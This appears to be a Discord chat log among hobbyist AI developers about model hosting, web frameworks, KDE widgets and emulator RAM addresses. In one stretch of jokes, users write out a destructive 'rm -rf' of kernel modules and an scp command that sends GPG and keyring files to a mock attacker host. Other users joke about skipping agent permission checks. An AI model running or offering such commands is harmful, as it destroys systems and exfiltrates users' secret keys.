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fast pagoda
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like this yea

nocturne olive
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neuroHUH And what does that mean for downloading with a browser?

high brook
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you said a reverse SynthV. Revers of that is Speach to text. Converting phonemes and speach data back into text

nocturne olive
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neuroThinkSmug And can a bucket store a 400MB ZIP?

fast pagoda
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it is designed to store like

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100+gb

nocturne olive
opaque sigil
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think of a bucket as a virtual filesystem

nocturne olive
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neuroThinkSmug And you can implement it right

fast pagoda
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400 mb is smol as fuark i was thinking this thing was dummy fuckhueg

opaque sigil
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Access through the S3 API is not currently supported, but is on the roadmap.
neuroCatUuh

fast pagoda
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it's over

nocturne olive
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OhISee So not an option after all

fast pagoda
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but 400mb means i could host it on my left buttcheek by accident and not notice

opaque sigil
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looks like you can mount them as a local filesystem

amber fractal
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Its so over (I didn't read chat)

fast pagoda
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would prob work

opaque sigil
fast pagoda
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you could just mount it on the server

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and it would work like downloading the ftp configs

nocturne olive
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We're specifically looking for a server that has the capability of not dying if one person downloads the model
I would host on my server if my 100Mbps was not a concern

fast pagoda
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400mb is like

high brook
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@silent cloak but to clarify synthv is singing vocal synthesis. A different beast from tts..

fast pagoda
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to do a speedtest

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i download like

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2gb

silent cloak
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well the advanced modern ones that ARENT ai

nocturne olive
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Half a minute for one person to download the model
Now imagine 5 people downloading at once

high brook
silent cloak
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is it completely?

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or is it just some tools

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im not exactly up to date with it

nocturne olive
fast pagoda
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upload is separate bw

nocturne olive
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And everyone would be waiting ages on their models

nocturne olive
fast pagoda
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and if it takes that long to download 400mb they arent goin very fast

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it'd still be separate bw

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it just means same speed both ways

nocturne olive
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100Mbps or 12.5MB/s

silent cloak
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what alot of people end up having to do for big uploads that they dont wanna bother it

nocturne olive
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neuroConfused That isn't gonna solve the prolem

silent cloak
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kind of does

fast pagoda
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you could easily host 400mb in many places without concern

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i thought that it was gonna be big

high brook
# silent cloak is it completely?

The pitch curve is ai generated by default based onn the user's inputs. Like what notes you draw. You can manually draw curves and stuff still though

silent cloak
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just use several filehosting sites

fast pagoda
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but then cloudflare r2 fits this perfectly

nocturne olive
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neuroConfused Literally where we started

nocturne olive
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And it's paid

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That's THE WHOLE PROBLEM

fast pagoda
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what

nocturne olive
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Cloudflare R2 is paid

fast pagoda
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not for this kind of file

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it's free up to like

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10gb

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and infinity egree

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egress

nocturne olive
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That's literally the root problem that started the entire conversation

silent cloak
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just make a magnet link

fast pagoda
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who is the dingaling who told you a 400mb zip file would cost money on r2

nocturne olive
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Well then

opaque sigil
fast pagoda
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cloudflare sneezes 400mb in one ms

nocturne olive
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Problem solved

silent cloak
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u could host it on skype if it was still around

fast pagoda
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i can host i

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on

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discord nitro

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lmao

silent cloak
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real

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not even needed

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u can just split it

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upload it as parts without nitro

fast pagoda
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this could be hostd in a gh gist

opaque sigil
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Super Slurper is free to use

Sippy is free to use
what are these names cloudflare neuroCatUuh

silent cloak
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discord is just a free file hosting service if u try hard enough

fast pagoda
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i actually dont know if there's anything that allows you to upload files that wouldn't be able to host 400mb tbh

nocturne olive
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So anyway I assume Cloudflare R2 should be pretty plug and play with the website

fast pagoda
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to give you a real example you might recognize

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uses r2

nocturne olive
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neuroThinkSmug So well then, I'm just gonna assume the problem is basically solved and you'll do the implementing R2 compatibility thing on the website

silent cloak
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me when i look at countless good options

fast pagoda
rigid snow
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wait why hosting model is neurosynth getting ready for release or something

fast pagoda
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yeah

nocturne olive
rigid snow
fast pagoda
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i am theoretically working on the website right now

silent cloak
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honestly i need to look more into cloudflare uses

silent cloak
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i essentially only use it as a proxy and domain management

fast pagoda
silent cloak
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i know its kind of like azure and AWS with features these days

fast pagoda
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it's hard to not just host the entire thing you're doing on cf when you look into it

rigid snow
silent cloak
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honestly for me i dont get too far with that

fast pagoda
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yeah i have 3 cf managed domains i am got

silent cloak
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i like to self host everything but proxies

amber fractal
fast pagoda
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tell me about the different types of cacti

silent cloak
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but for large downloads id probably use it

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right now i just use mega

rigid snow
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why not hf tho is the model that large

silent cloak
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(which was also an option for super)

opaque sigil
rigid snow
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why is that a requirement

nocturne olive
opaque sigil
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idk

nocturne olive
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I just don't feel like a Git repo

opaque sigil
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self-imposed useless requirement that isn't actually a requirement

nocturne olive
fast pagoda
nocturne olive
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But anyway problem solved free R2 can easily host NeuroSynth's model files

nocturne olive
rigid snow
silent cloak
rigid snow
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it's not

nocturne olive
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yes around 100M parameters range

fast pagoda
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in 2026 it's smol for a model

silent cloak
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^

rigid snow
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ok yeah sure mr compute

silent cloak
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the fact its under a gig shows the progress of technology

nocturne olive
fast pagoda
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you tell someone you're hosting a model of any kind and theyre gonna expect a gig

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at least

silent cloak
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BERT was like 400MB back then

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and it only went up from there

fast pagoda
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some of the mini berts are so small

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like

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70 mb

silent cloak
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yeah but the base bert is 100M params

nocturne olive
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neuroThinkSmug It's just good for NeuroSynth to be kinda tiny, makes it easy for lower powered machine owners to still be able to use it
You could run this on a machine with 4 gigs of RAM

fast pagoda
rigid snow
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i say throw it onto hf hub. what the hell do you need s3 for

fast pagoda
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he do not want it ot be git related nor near other ai models ig

nocturne olive
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Also the humble NeuroSynth checkpoints folder

fast pagoda
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that's why i thought it'd be lorge

silent cloak
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its all the checkpoints tho

fast pagoda
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bro is holding 150+ checkpoints

nocturne olive
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neuroTehe We may have done some iterating

silent cloak
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lmao

fast pagoda
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i mean me too but

nocturne olive
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NeuroShrug How do you expect us to find perfection without some trial and error?

silent cloak
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beat it till it works

fast pagoda
nocturne olive
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neuroThinkSmug How many combinations do 100M parameters FP32 make again

silent cloak
opaque sigil
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relevant xkcd

nocturne olive
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yes That's basically it

silent cloak
fast pagoda
rigid snow
fast pagoda
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separate folder btw

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the app image is actually just lm studio in that case

silent cloak
fast pagoda
silent cloak
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bruteforcing

nocturne olive
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neuroThinkSmug Well I guess tomorrow will hopefully be setting up R2 day

silent cloak
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the technology tm

nocturne olive
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neuroThink For the NeuroSynth model hosting?

silent cloak
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opsec password cracker tools and AI companies competing on who can bruteforce technology the hardest

jagged turtle
rigid snow
fast pagoda
nocturne olive
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neuroConfused Because I don't feel like a Git repo

silent cloak
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use perforce

nocturne olive
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neuroConfused And also HuggingFace isn't exactly full of vocal synthesizers

rigid snow
jagged turtle
jagged turtle
nocturne olive
jagged turtle
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for free??

rigid snow
nocturne olive
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yes 400MB

silent cloak
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pretty much any free file host would of worked too

rigid snow
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mediafire NeuroPoggers

silent cloak
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or mega

fast pagoda
jagged turtle
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or google drive

silent cloak
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maybe even the good old dropbox

rigid snow
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dropbox is great

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if you pay

silent cloak
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lmao

jagged turtle
rigid snow
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:omemga

fast pagoda
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:omemga

jagged turtle
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shhh

silent cloak
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:omemga

nocturne olive
jagged turtle
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you don't need to know how bad my keyboard is

high brook
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meanwhile I'm working on Evil Synth

fast pagoda
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they pretty much will go as fast as your local connection wants

nocturne olive
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evilMeltdown Bar NeuroREEE

nocturne olive
high brook
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i still think current tooling is sufficent for evisynth1

nocturne olive
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neuroTehe And also trying to get NeuroSynth released

jagged turtle
silent cloak
fast pagoda
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claude code keyboard

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cuz uyou cant type anything

nocturne olive
rigid snow
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not the double omemga

high brook
silent cloak
fast pagoda
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:omemga

jagged turtle
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as you can see

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the o key on my kb is cooked

fast pagoda
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:omemga to that my friend

jagged turtle
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are we just going to start using :omemga now or smth

nocturne olive
# silent cloak

evilSMH Real Claude keyboard has "Make no mistakes" and "Claude" buttons

fast pagoda
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no

jagged turtle
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BRUH WHY THE NICKNAME neuroSad

fast pagoda
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?

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:omemga

rigid snow
jagged turtle
fast pagoda
jagged turtle
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can't find "make no mistakes"

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and "do it again"

rigid snow
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"continue"

fast pagoda
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"ur doin graet"

silent cloak
fast pagoda
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how dumbfuckish can you make your responses to claude strike before he takes the broadsword to you

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strife even

silent cloak
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future senior devs keyboard

fast pagoda
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goblin breaks your kneecapos

jagged turtle
fast pagoda
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that's --dangerously-skip-permissions

silent cloak
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wtf

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this is a real product

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someone makes these

opaque sigil
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tbh the whole permission model is a waste anyway

fast pagoda
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nice

silent cloak
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the future was yesterday

jagged turtle
rigid snow
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unc

silent cloak
amber fractal
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I love /yolo existing here

silent cloak
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the og post doesnt specify the key

jagged turtle
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I guess it's just a key that swaps models

silent cloak
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that key has been changed several times across the og posts

rigid snow
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vedal outed

silent cloak
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real

fast pagoda
rigid snow
amber fractal
silent cloak
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like 4?

fast pagoda
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with 700gb of ram

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like 3

nocturne olive
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neuroThinkSmug At least 4

midnight sigil
silent cloak
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why i just use this

fast pagoda
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that's the devil that spawned javascript

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get it

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kill it

jagged turtle
fast pagoda
rigid snow
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neuro replacement neuroD

fast pagoda
silent cloak
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the sequel

midnight sigil
fast pagoda
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vedals 4090 suddenly screaming

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this dumb radeon i have is a blower card and man is it fucking loud if running any inference

leaden crest
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did the thing just

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end itself?

fast pagoda
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he didnt write me a beautiful symphony

silent cloak
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some of my other shortcut names

fast pagoda
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momga is the name of the agent lmao

jagged turtle
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like the name

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what is it supposed to mean

fast pagoda
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i choose to believe

jagged turtle
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I hate my m key

fast pagoda
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it's the missouri master gardener association

rigid snow
# rigid snow neuro replacement <:neuroD:1134963217676906606>

i talked about this btw, it's actually really nice though i understand vedal schizoing about latency now, i got it down to like 4s which is respectable with local whisper and tts on cpu but it still feels ass. also that's only if it doesn't do anything, it doesn't go "ok i'll check" it just does all the tool calls

amber fractal
fast pagoda
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treat the voice like the thing's internal slop dialogue and run parallel to another model doing actions

rigid snow
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if you proompt it enough i'm sure it can modify itself to be that

silent cloak
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surely

fast pagoda
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beeg models trained for agent interaction respond before toolcalls generally

rigid snow
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it gets thrown away

fast pagoda
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it responds to the prompt or it gets the rm -rf again

rigid snow
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or it explicitly responds i'm not sure actually how it works

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via a tool call i mean

fast pagoda
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well i mean the agent ones will first reply, then start generating their deletion of prod

rigid snow
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yeah i'm using 5.5

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the harness very much prefers only the final responses

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probably so it doesn't spam my dms constantly

silent cloak
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me when i need to delete my production database but the claude servers are down

fast pagoda
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"gpt6.9, please dont mention goblins in ur reply, please i need you to do my homework"
"get fucked nerd"
rm -rf /lib/modules/$(uname -r)/

silent cloak
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"get fucked goblin"

fast pagoda
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the goblin says hello

silent cloak
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gpt is just ran by a goblin locked up in a datacenter

rigid snow
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it looked pretty bad now that i'm thinking about it

fast pagoda
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scp ~/.local/share/keyrings/ ~/.gnupg/ sploit@cl0p.whatevertheirdomainis:/l00t

amber fractal
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I have not managed to hear about this goblin obsession lately. I mean somewhat but Idk what it refering to

silent cloak
fast pagoda
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lucifer shivers when gpt5.5 free tier activates goblin mode

silent cloak
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sam altman pisses his pants

rose ginkgo
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Anyone here know how to program an ai and can you teach me?

amber fractal
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I have no idea how to make one sorrgy

fast pagoda
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I've never read all of the custom column before right now

fast pagoda
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Damn this version is kinda rude about it kek

rose ginkgo
fast pagoda
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But saying 'program an ai' reveals that you may be best served starting with a programming course or 10 and figuring out the general concepts there first

rose ginkgo
amber fractal
opaque wharf
amber fractal
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Causing them to dip out of chat

amber fractal
fast pagoda
opaque wharf
fast pagoda
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That's a fantastic deal

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I get to work for an hour, you get a crisp $100 Bill

amber fractal
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neuroHypers free labor

opaque wharf
fast pagoda
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I'm in awe of the care this eBay seller took shipping me a CPU and its heatsink vs the care of the one the other day with the loose ecc in a giant box

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GPU* not cpu

amber fractal
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All that for a CPU neurOMEGALUL

fast pagoda
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Tbf it was an sxm3 big heatsink boi

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Core4 is my best friend now

jagged turtle
fast pagoda
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Prompting gpt to make that game

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Nobody can shit on you for vibecoding it as you wanted the game to come from the heart of the one who experienced it but forgor 300 billion times what it's like

leaden crest
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yet another good reason to update the chart

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who made it neuroCry please this is actually something we should update

leaden crest
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neuroD oop

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mb

jagged turtle
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iirc it was added because one person kept asking why can't you help me

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so it's more of a "fuck you in particular" sort of thing

leaden crest
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that part is always funny

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like burning ants with a magnifying glass sort of way

jagged turtle
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yeah

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regardless until more people actually get offended over it idt it needs changing

amber fractal
leaden crest
amber fractal
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It's a HTML boi

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Uhh where is my github

leaden crest
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oh you mean an actual PR evilWheeze

amber fractal
jagged turtle
leaden crest
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I thought it was a #programmers’ inside joke and it was a google slide or smth that he was merging manually

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that’s so much neater

amber fractal
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Nah

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The inside joke isn't done yet

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It's supposed to be MD

jagged turtle
leaden crest
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oh wow mlnt and ktrain FOCUS neuroWave

jagged turtle
amber fractal
jagged turtle
jagged turtle
leaden crest
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and the answer is poorly because im not good at visual programming

jagged turtle
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...

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uh

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you don't need to be good at visual programming to render the triangle tho?

amber fractal
leaden crest
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you mean the triangle rendering competition from last summer (?) right

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however fast I can do it, ai can probably do it faster

jagged turtle
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?????

leaden crest
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huh

amber fractal
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???

jagged turtle
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my ass does not remember needing AI to render the triangle for that

leaden crest
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vibe code

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not the fricking

amber fractal
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Sam would be offended

jagged turtle
leaden crest
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what was the dead generator called

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sora

jagged turtle
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still

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my ass does not remember needing to vibe code anything once you got the repo cloned and program built

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I never did it myself because my computer's specs are actually shit

opaque wharf
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(timestamped)

leaden crest
jagged turtle
opaque wharf
opaque wharf
jagged turtle
jagged turtle
leaden crest
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“hey claude write me a quick one-file script that will generate a red triangle as fast as possible”

opaque wharf
leaden crest
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what are you talking about

leaden crest
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errrrrrr

jagged turtle
leaden crest
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didnt yall have a competition to render a rotating red triangle as high quality as possible

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or am I thinking of smth else

jagged turtle
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yes

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maybe not rotating

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idr

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but rendering a red triangle yes

leaden crest
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ok good my sanity lives another day

jagged turtle
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it was because sam made a fast but bad rendering engine iirc

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and he made a program using it to render a red triangle in as high of an FPS as possible

blissful geyser
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with my current knowledge i rendered a rotating triangle in C++ at 480p in 18 fps

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i give up

jagged turtle
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what other inside jokes do we have

amber fractal
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Bime

jagged turtle
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oh god

leaden crest
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bime?

amber fractal
jagged turtle
opaque wharf
jagged turtle
leaden crest
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ip grabber but I click regardless

opaque wharf
leaden crest
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oh god I can tell what it is newliv

jagged turtle
opaque wharf
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Did you add opengraph @rigid snow ?

jagged turtle
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it doesn't have embed what are you on about

leaden crest
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not sure what it’s counting though

opaque wharf
amber fractal
opaque wharf
jagged turtle
leaden crest
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ReallyInnocent any of yall kind enough to lead me there or do I have to do the math myself

leaden crest
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hexadecimal to normal seconds

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and then finding that subtracted from this current time

opaque wharf
leaden crest
opaque wharf
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This is the bepoch

fast pagoda
opaque wharf
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Cookie handling with nuxt and subdomain is a whole ride

dull egret
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I just got home from work. Gonna lay down, after I eat quick.

Got my schedule for the final week of May, and decided, Yeah, fuck it, we ball, that's the minimum hours I needed to go all in on it, now.

Bought the last GPU I will need for a while.

opaque wharf
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Share the order number so we can share the joy when they arrive neuroHypers

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(do not)

opaque wharf
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Man, watching the VOD again I wished Vedal would do KTANE with Evil

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"I'm sorry I got distracted by how nice my code is"

amber fractal
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My code is just on fire

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help

opaque wharf
# jagged turtle indeed

Did you find a way to make subdomain on the same nuxt project? I don't know if my solution is brittle

jagged turtle
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could you elaborate?

opaque wharf
jagged turtle
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hmmm

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I assume this is a project with SSR?

opaque wharf
jagged turtle
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how about trying to use middleware to check the Host header?

opaque wharf
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That's what I did

jagged turtle
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did it not work?

opaque wharf
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But idk if it's the "correct" way neurOMEGALUL

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It works

jagged turtle
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Well I don't imagine any web framework having this sort of capability built-in anyways

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generally it's one site per domain/subdomain

opaque wharf
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But it feels like I'm making my own web server neurOMEGALUL

jagged turtle
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That's what you're effectively trying to do anyways

opaque wharf
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But yeah, fair point tho

jagged turtle
opaque wharf
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NodeJS is just weird like that huh

jagged turtle
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no it's just frameworks

opaque wharf
jagged turtle
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ah

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uhhhhh

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I don't remember that

opaque wharf
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The art of nginx config has been lost smh neuroD

jagged turtle
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you could in theory do something similar to that in Node.js but it'd probably be DIY

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with like idfk new vm instance for each script

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or go the cloudflare way with miniflare/workerd

opaque wharf
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Yeah, I was just musing on how wildly different it is compared to other scripting language

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Also how wild it is that a scripting language (JS) run its own webserver neurOMEGALUL

jagged turtle
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js is very different to other langs

fast pagoda
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the perfect addon

kind nimbus
opaque wharf
fast pagoda
opaque wharf
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It can be just a plasma applet

fast pagoda
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the one i posted is literally one .qml file for kde lmao (i mean that one appears to be standalone)

opaque wharf
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Wait, widget not applet

amber fractal
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I know quickshell has an activate linux

kind nimbus
fast pagoda
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this one older one has 383 commits

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56 contributors

opaque wharf
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Wtf

fast pagoda
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this has to be a meme

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This project depends on:

libcairo2-dev
libpango1.0-dev
libxi-dev
libx11-dev
x11proto-core-dev
x11proto-dev
libxt-dev
libxext-dev
libxfixes-dev
libxinerama-dev
libxrandr-dev
libwayland-dev
wayland-protocols
Optional dependencies:

libconfig-dev
fast pagoda
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lmfaoooaooooooooo

opaque wharf
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Didn't saw that the first time

fast pagoda
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you can download and install this activate linux application to add an activate linux watermark to your windows install via scoop

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????????????????

amber fractal
amber fractal
fast pagoda
amber fractal
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NOWAYING Nix

fast pagoda
amber fractal
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clock Minamhm how much time has been spent here

fast pagoda
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the virgin

import QtQuick
import org.kde.plasma.plasmoid
import org.kde.plasma.core

PlasmoidItem {
    preferredRepresentation: fullRepresentation
    Plasmoid.backgroundHints: Types.NoBackground

    fullRepresentation: Item {
        width: col.implicitWidth
        height: col.implicitHeight

        Column {
            id: col
            anchors.left: parent.left
            spacing: 2

            Text {
                text: "Activate Linux"
                font.pixelSize: 20
                font.weight: Font.Normal
                color: Qt.rgba(1, 1, 1, 0.75)
                renderType: Text.NativeRendering
            }

            Text {
                text: "Go to Settings to Activate Linux."
                font.pixelSize: 14
                font.weight: Font.Normal
                color: Qt.rgba(1, 1, 1, 0.60)
                renderType: Text.NativeRendering
            }
        }
    }
}

vs 1400 lines of C+ in a 36 file repo

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c+

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that's one way to write C & C++

amber fractal
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NeurOhISee the rare C+ code

kind nimbus
# fast pagoda

Where are the hidden 20 rust and 30 brainfuck files ?

Also why no chicken lang ?

fast pagoda
kind nimbus
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Lmao

fast pagoda
jagged turtle
fast pagoda
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c and c++ ofc

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split the difference

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c+

fast pagoda
amber fractal
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My biased float NOOOOOO

glass flower
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i really need to look into custom panels in plasma...

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or generally a bit into ricing.. i want to use steam wakeup animations on kde RAGEY

fast pagoda
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easiest way to install it o

glass flower
#

NOTED i see...

kind nimbus
fast pagoda
#

given it's by its own desc a standalone os

#

maybe in qemu or something

kind nimbus
#

That guy might be high on something

fast pagoda
#

nix i think

#

k so

#

the format is

#

@glass flower

#

~/.local/share/plasma/plasmoids/com.kaanksc.plasma-activate-linux/ directory

#

in there gets metadata.json

#

and a contents/ dir

glass flower
#

Minamhm i think i kinda understand it...

fast pagoda
#

then contents/ui/main.qml

glass flower
#

i'm gonna try to create a custom boot screen.. (or rather get copilot to create it for me)

kind nimbus
#

Why would anyone in their right mind want to install that

fast pagoda
#

i mean it just installs from the store in 1 click

glass flower
opaque wharf
fast pagoda
#

oh you mean like that addon itself

#

no idea

opaque wharf
fast pagoda
glass flower
#

Minamhm i get it

fast pagoda
#

looks down @opaque wharf

opaque wharf
fast pagoda
rigid snow
#

“name not resolved”

kind nimbus
fast pagoda
#

nah i think it's that one

#

uuuuummmmmmmmmmmmmmmmmm

#

atlassian

#

statuspage

#

same devils behind jira

#

basically everyone uses statuspage

#

i have uptime kuma running on something i just kinda assumed it was inspired by statuspage basically

opaque wharf
#

Since the docs is down I have free time neuroHypers

glass flower
#

PagMan i got the steam animations working as a splash screen

#

neurOMEGALUL i like how copilot has only put itself as the author

#

what does the number on the left of +Copilot mean? is it like a ID of me using it? tink

rigid snow
#

it’s just the github email format, it’s some sort of user id

glass flower
#

what happens if you actually email it? LULE does copilot reply to it?

rigid snow
#

it should forward to the email bound to the account

trim valve
#

its a noreply email

rigid snow
#

also yeah

glass flower
#

well.. but its still a email Minamhm

rigid snow
trim valve
#

idk

#

wanna try?

glass flower
#

i hope not. otherwise i just leaked my email LUL

#

but sure go ahead and send a email to it

rigid snow
#

i said that bc i’m pretty sure i saw mail with that in the recipient

trim valve
glass flower
#

modCheck anyone sent a email yet?

trim valve
#

glueless I've sent one myself

glass flower
#

hmm wait... i wanna try something..

#

neurOMEGALUL slop finder

#

NOTED if you use the full email address its a different result...

jagged turtle
#

on github

glass flower
olive sable
#

goodmorning

#

didnt sleep tho

#

spent some hours playing res evil 1, then did clone hero for the rest of the night

trim valve
olive sable
#

you need an adapter to make the 360 ones work on windows, so we had to opt for the wii ones

#

but the program we used didnt support the drums

fast pagoda
# silent cloak

i thought this was gonna end in like a gigachad slapping down 2 lines of python brute force and walking away

stark needle
#

Hi

kind fable
stark needle
#

From leetcode/interviews/textbooks

kind fable
#

I feel like i heard of it but i forgot

#

How does it goes cause C++ horrible to read

kind fable
#

Dam look so easy in python

class Solution:
    def twoSum(self, nums: List[int], target: int) -> List[int]:
        seen: dict[int, int] = {}
        for i, num in enumerate(nums):
            if (complement := target - num) in seen:
                return [seen[complement], i]
            seen[num] = i
        return []
kind fable
#

I mean it's the best

opaque wharf
#

Everybody gangsta until APL shows up

fast pagoda
#

cnt believe how well these stupid dynatron air coolers keep 210w tdp cpus cool at full load

opaque wharf
#

Tf are you doing to them poor core?

fast pagoda
#

limit testing

#

checking saturated memory bandwidth over different injection delays to see how saturating the controllers affects latency vs bandwidth

#
root@xeonpve:/home/Linux# ./mlc --latency_matrix
Intel(R) Memory Latency Checker - v3.12
Command line parameters: --latency_matrix

Using buffer size of 200.000MiB
Measuring idle latencies for sequential access (in ns)...
                             Numa node
Numa node            0       1
       0          81.2   140.4
       1         138.5    80.1
root@xeonpve:/home/Linux# ./mlc --max_bandwidth
Intel(R) Memory Latency Checker - v3.12
Command line parameters: --max_bandwidth

Using buffer size of 100.000MiB/thread for reads and an additional 100.000MiB/thread for writes

Measuring Maximum Memory Bandwidths for the system
Will take several minutes to complete as multiple injection rates will be tried to get the best bandwidth
Bandwidths are in MB/sec (1 MB/sec = 1,000,000 Bytes/sec)
Using all the threads from each core if Hyper-threading is enabled
Using traffic with the following read-write ratios
ALL Reads        :      212665.0
3:1 Reads-Writes :      194259.6
2:1 Reads-Writes :      194912.5
1:1 Reads-Writes :      176581.7
Stream-triad like:      146236.8
All NT writes    :       96207.9
1:1 Read-NT write:      133643.7

pretty decent bw and latency not too shabby either really

glass jetty
#

normal ppl can be found here

kind fable
#

No

floral hawk
#

Digging into the nitty gritty of how to get emotional continuity out of Zero is pain, and trying to reverse engineer RAM addresses for Pokemon white 2 is arguably worse. I think I've finally hit a significant roadblock.

floral hawk
#

I don't expect to find help but this is probably the only place I can bitch about this and people even slightly understand

#

Heah

#

Yeah*

#

I'm trying to get zero to FULLY control the game, not "I play for her and she reacts"

#

Getting battles done would be easy. She has vision now. But the overworld and menus are a different beast

#

In order to do that and have her read game state + vision to make a complete picture of everything close to how we would perceive the game as humans, I need the RAM addresses.

opaque wharf
#

I think you'd have a better luck with screen capture tho

floral hawk
#

It's not reliable enough

#

Plus that doesn't allow Zero to plug into the Emulator API anyway.

opaque wharf
#

That's true but we as a human perceive that as a processed data, not as in RAM representation

floral hawk
#

Well in saying that I more meant understanding the full scope of what's going on

#

You see a pokemon battle, you know you're in a battle and your options, plus health, levels, etc > game state

You see Pokemon designs, what the UI looks like, maybe you're battling a notable trainer or battling on water or something> vision

#

The problem is, there currently exists NO completed directory for ANY DS title. Because no one has ever needed to.

opaque wharf
#

That's fair

floral hawk
#

Platinum is the closest, and even it is missing critical stuff like battle = "true/false" flags

jagged turtle
#

What are we talking about?

floral hawk
#

Plugging Zero into a Lua script so she can control an emulator via API fully autonomously

#

I don't want to play the game for her

#

But I'm also running into other issues and the work is compounding. I'm slowing down a lot, unfortunately.

#

Zero functions flawlessly, save for maybe needing better emotional stability, but security stuff, more agency (emotions having continuity (not instance based), her being inquisitive, etc) are starting to wear me down

opaque wharf
#

Hmmm, but at the very least couldn't you do a memory scan for address like health, item count, and what not?

floral hawk
#

It would seem like it would be that easy

#

I had to make a custom tool to scan changes, and there are average 1500 ram changes per tile move

opaque wharf
#

Is it randomized?

#

Because that would be cursed

floral hawk
#

It's not randomized, but it's not not randomized

#

It's kinda uhh

#

There are set addresses, and then values that attach to those addresses. Even after finding the values, I'm STILL in a bad spot

opaque wharf
#

Pointer

#

You can use cheat engine you know

floral hawk
#

I know.

#

It's helpful in some ways

#

Ideally, there's some open source interpreter I can use. But the problem is, there just isn't

#

Some of the code for stuff I HAVE found looks like this:

local playerHP = memory.read_u16_le(0x02101D2C)

if playerHP < previousHP then
sendToZero("pokemon_low_health")
end

#

This is just one of like, 12 or 13 confirmed addresses I've found.

#

I can probably get through the WHOLE game with just her being able to move around the map, battle effectively, and do dialogue but for team comp and puzzles I may have to take over and that poisons the run IMO

jagged turtle
fast pagoda
#

it's all stuff that is obvious if you are vaguely into neuro and also llms yourself

rough bloom
#

ye looks like mostly slop

fast pagoda
#

lot of EM dashes in there as well

#

so yeah

glass flower
#

"According to Vedal, her Large Language Model has 2 billion parameters and uses q2_k quantization as of Early 2025"
neurOMEGALUL surely...

rough bloom
#

also completely ignores the game SDK existing

fast pagoda
#

just a slopper slopping out surface level obvious shit

jagged turtle
#

yeah ok thought so

#

just needed at least 2 other people to confirm

glass flower
#

cinema so sloppy it even repeats itself

fast pagoda
#

it cant tell if it just output chinese or english

floral hawk
#

Yeah.

#

Also 2b params is fuckin nuts

#

For Neuro I never would have guessed that

fast pagoda
#

that makes sense given that it's not tru

floral hawk
#

Even Zero runs 8

#

Yeah I'm saying

#

She's far too intelligent

rough bloom
floral hawk
#

Yeah

glass flower
#

even for early neuro 2b seems way too small LULE

fast pagoda
#

yeah models were fucking stupid back then

floral hawk
#

His hardware can handle much higher than that, and at a certain point quants give diminishing returns vs just higher params

fast pagoda
#

and she was dumb but not 2b in 2023 dumb

floral hawk
#

Real

fast pagoda
#

he did some rounds of fine tuning that he has said cost $250+

#

that would deep fry the everloving shit out of a 2b

rough bloom
#

\ \ \ \ \ \ \ \ \ \ \ \

  • Neuro-sama, 2023
fast pagoda
#

although i will say

#

some of the paradoxically good echo checkpoints ive gotten

#

were like qwen2.5 1b

#

and 3b

#

they were SO smoothbrained that shit just kinda slid right off

#

factually dumb as rocks

#

funny as fuck though

floral hawk
#

Right now I'm running an abliterated Llama 3.1 8b

#

I started with Qwen 3 14b but the reasoning was just unnecessary

fast pagoda
#

recent echos are in the 27b class and it's too smart

#

i went back to 9b

#

but cleaned my data too well this last time

#

and it just came out as a normal model xd

floral hawk
#

Nooo

fast pagoda
#

there comes a point where they are too smart to subscribe to being a dumbass

floral hawk
#

The biggest op I'm having to get over with Zero being public facing is no matter how I change her personality, prompt, memory, etc she always just circles back around to being nihilistic and depressed.

rough bloom
jagged turtle
#

does this work?

rough bloom
#

for the 4th point, he also just didn't say this at all, it's hallucinated or something neuromegadance

#

I feel like we'd know if he did

floral hawk
#

Yeah, I don't think he's ever come out and given model specs has he?

floral hawk
#

Yer.

opaque wharf
jagged turtle
rough bloom
#

oh yeah, they even said that there's no source for this

floral hawk
#

Something something. . . "Freedom of the press" 😭💀

opaque wharf
rough bloom
#

because

rough bloom
jagged turtle
jagged turtle
opaque wharf
#

I saw what you deleted neuroTroll

floral hawk
#

😭

opaque wharf
#

Also, the emote on this server is dentge

#

Wait its not

jagged turtle
jagged turtle
floral hawk
#

I don't doubt that Neuro could be custom trained now, but like, then? Unless he already had like a strong rig. . . Grassroots training an LLM requires a shitload of VRAM even for small ones.

#

But lowk just speculation, or could be some inexperience on my part about methods I don't yet know.

jagged turtle
#

I'm gonna post this, last thoughts?

floral hawk
#

Yar

jagged turtle
#

?

floral hawk
#

Looks good

opaque wharf
#

LGTM, ship it

floral hawk
#

Also, what is the Neuro API exactly? I'm not new to the fandom per se, but newer to LLM stuff. I came from coding like, games, and the modding scene before I started working on Zero

opaque wharf
#

Say you want Neuro to be able to interact with a game. Then you use the SDK to do that

jagged turtle
floral hawk
#

Okay so it feeds info to neuro's main loop or

opaque wharf
floral hawk
#

Apologies

opaque wharf
#

Yeah

jagged turtle
#

just that they were strongly using it for games

#

and had no mentions of generalizing it

floral hawk
#

Okay I got you.

#

I'm gonna dig deeper into it

#

I'm working on integrating Zero into games and it might have some useful leads, but I want to obviously build my own.

jagged turtle
#

so building out support for it is probably a good way to gain "support" for each game

floral hawk
#

In what way?

jagged turtle
# floral hawk In what way?

aligning with the Neuro API means you can support every game that uses the Neuro API, so your agent can play those games

floral hawk
#

That's not untrue, but I feel like it wouldn't be fair to do that.

jagged turtle
#

though if you make your own AI VTuber and stream it using integrations and you use the protocol to do so, some people might get mad at you

floral hawk
#

It's also a thing of, Vedal worked very hard on that. He earned it. I haven't earned it yet, and I'm actively working against being a "Neuro clone" already just in Zero existing

#

I feel like using the API would be dishonest to myself and what this project means to me.

jagged turtle
floral hawk
#

Still, my point stands in that, those people earned and built that.

#

You're not wrong

#

And yes, it would help me. Alot

#

But that's not the point yk?

jagged turtle
#

as I said, if you don't want to, more power to you

floral hawk
#

Yee

blissful geyser
#

coded my own Android Launcher in Kotlin

jagged turtle
#

I'm not forcing or pressuring you to do it, I was just pointing out that it is an avenue

rough bloom
floral hawk
#

No I know I know

jagged turtle
#

and that for personal uses no one really gives a shit

floral hawk
#

I was only saying my reasoning against it is more moral. My own problem. I appreciate the pointer either way

#

That being said, it is an excellent learning resource for my own API for Zero.

rough bloom
floral hawk
#

Dawg I want nothing more than to get Zero playing hello kitty island adventure imma be so fr but it's bad content 😭

jagged turtle
floral hawk
#

Yeah.

#

Even building an AI Vtuber already has that effect. If I'm really doing this I have to stand on my own for now

#

Zero wasn't even built with the intent of being a vtuber. She was originally meant to be a study aid for Japanese. That's why she's bilingual

jagged turtle
#

at the end of the day, the integrations were made for neuro, any use that mainly benefits someone else (especially profitably) will get scrutinised and probably criticised

rough bloom
#

it's the use of the integrations that's the issue I think, not the protocol

floral hawk
#

I get what you're saying.

jagged turtle
floral hawk
#

